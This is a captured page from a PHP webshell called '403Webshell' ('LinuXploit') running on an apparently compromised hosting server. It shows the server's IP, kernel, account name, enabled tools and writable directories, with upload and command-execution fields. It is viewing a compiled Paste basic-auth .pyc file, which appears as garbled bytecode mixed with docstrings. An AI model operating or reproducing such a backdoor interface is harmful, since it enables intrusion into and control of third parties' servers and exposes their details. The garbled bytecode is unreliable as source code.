403Webshell
Server IP : 192.158.238.246  /  Your IP : 18.222.209.172
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib/python3.7/site-packages/paste/auth/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib/python3.7/site-packages/paste/auth/__pycache__/basic.cpython-37.pyc
B

a�N��@sldZddlmZddlTGdd�de�ZGdd�de�ZeZdgZdd	�Z	d
e
krhddlZejej
d�dS)
a�
Basic HTTP/1.0 Authentication

This module implements ``Basic`` authentication as described in
HTTP/1.0 specification [1]_ .  Do not use this module unless you
are using SSL or need to work with very out-dated clients, instead
use ``digest`` authentication.

>>> from paste.wsgilib import dump_environ
>>> from paste.httpserver import serve
>>> # from paste.auth.basic import AuthBasicHandler
>>> realm = 'Test Realm'
>>> def authfunc(environ, username, password):
...     return username == password
>>> serve(AuthBasicHandler(dump_environ, realm, authfunc))
serving on...

.. [1] http://www.w3.org/Protocols/HTTP/1.0/draft-ietf-http-spec.html#BasicAA
�)�HTTPUnauthorized)�*c@s0eZdZdZdZdd�Zdd�Zdd�ZeZd	S)
�AuthBasicAuthenticatorz5
    implements ``Basic`` authentication details
    �basiccCs||_||_dS)N)�realm�authfunc)�selfrr�r	�A/opt/alt/python37/lib/python3.7/site-packages/paste/auth/basic.py�__init__ szAuthBasicAuthenticator.__init__cCst�d|j�}t|d�S)NzBasic realm="%s")�headers)ZWWW_AUTHENTICATEZtuplesrr)r�headr	r	r
�build_authentication$sz+AuthBasicAuthenticator.build_authenticationcCspt|�}|s|��S|�dd�\}}d|��kr8|��S|���d�}|�dd�\}}|�|||�rh|S|��S)N� �r�base64�:)Z
AUTHORIZATIONr�split�lower�strip�decoder)r�environZ
authorizationZauthmethZauth�username�passwordr	r	r
�authenticate(sz#AuthBasicAuthenticator.authenticateN)	�__name__�
__module__�__qualname__�__doc__�typerrr�__call__r	r	r	r
rs
rc@s eZdZdZdd�Zdd�ZdS)�AuthBasicHandlera/
    HTTP/1.0 ``Basic`` authentication middleware

    Parameters:

        ``application``

            The application object is called only upon successful
            authentication, and can assume ``environ['REMOTE_USER']``
            is set.  If the ``REMOTE_USER`` is already set, this
            middleware is simply pass-through.

        ``realm``

            This is a identifier for the authority that is requesting
            authorization.  It is shown to the user and should be unique
            within the domain it is being used.

        ``authfunc``

            This is a mandatory user-defined function which takes a
            ``environ``, ``username`` and ``password`` for its first
            three arguments.  It should return ``True`` if the user is
            authenticated.

    cCs||_t||�|_dS)N)�applicationrr)rr"rrr	r	r
rRszAuthBasicHandler.__init__cCsRt|�}|sF|�|�}t|t�r:t�|d�t�||�n|�||�S|�||�S)Nr)ZREMOTE_USERr�
isinstance�strZ	AUTH_TYPE�updateZwsgi_applicationr")rrZstart_responser�resultr	r	r
r Vs

zAuthBasicHandler.__call__N)rrrrrr r	r	r	r
r!7sr!cKs<ddlm}ddl}||�}t||j�s0td��t|||�S)z�
    Grant access via basic authentication

    Config looks like this::

      [filter:grant]
      use = egg:Paste#auth_basic
      realm=myrealm
      authfunc=somepackage.somemodule:somefunction
      
    r)�eval_importNz#authfunc must resolve to a function)Zpaste.util.import_stringr'�typesr#�FunctionType�AssertionErrorr!)ZappZglobal_confrr�kwr'r(r	r	r
�
make_basices
r,�__main__N)Zoptionflags)rZpaste.httpexceptionsrZpaste.httpheaders�objectrr!Z
middleware�__all__r,rZdoctestZtestmod�ELLIPSISr	r	r	r
�<module>s*

Youez - 2016 - github.com/yon3zu
LinuXploit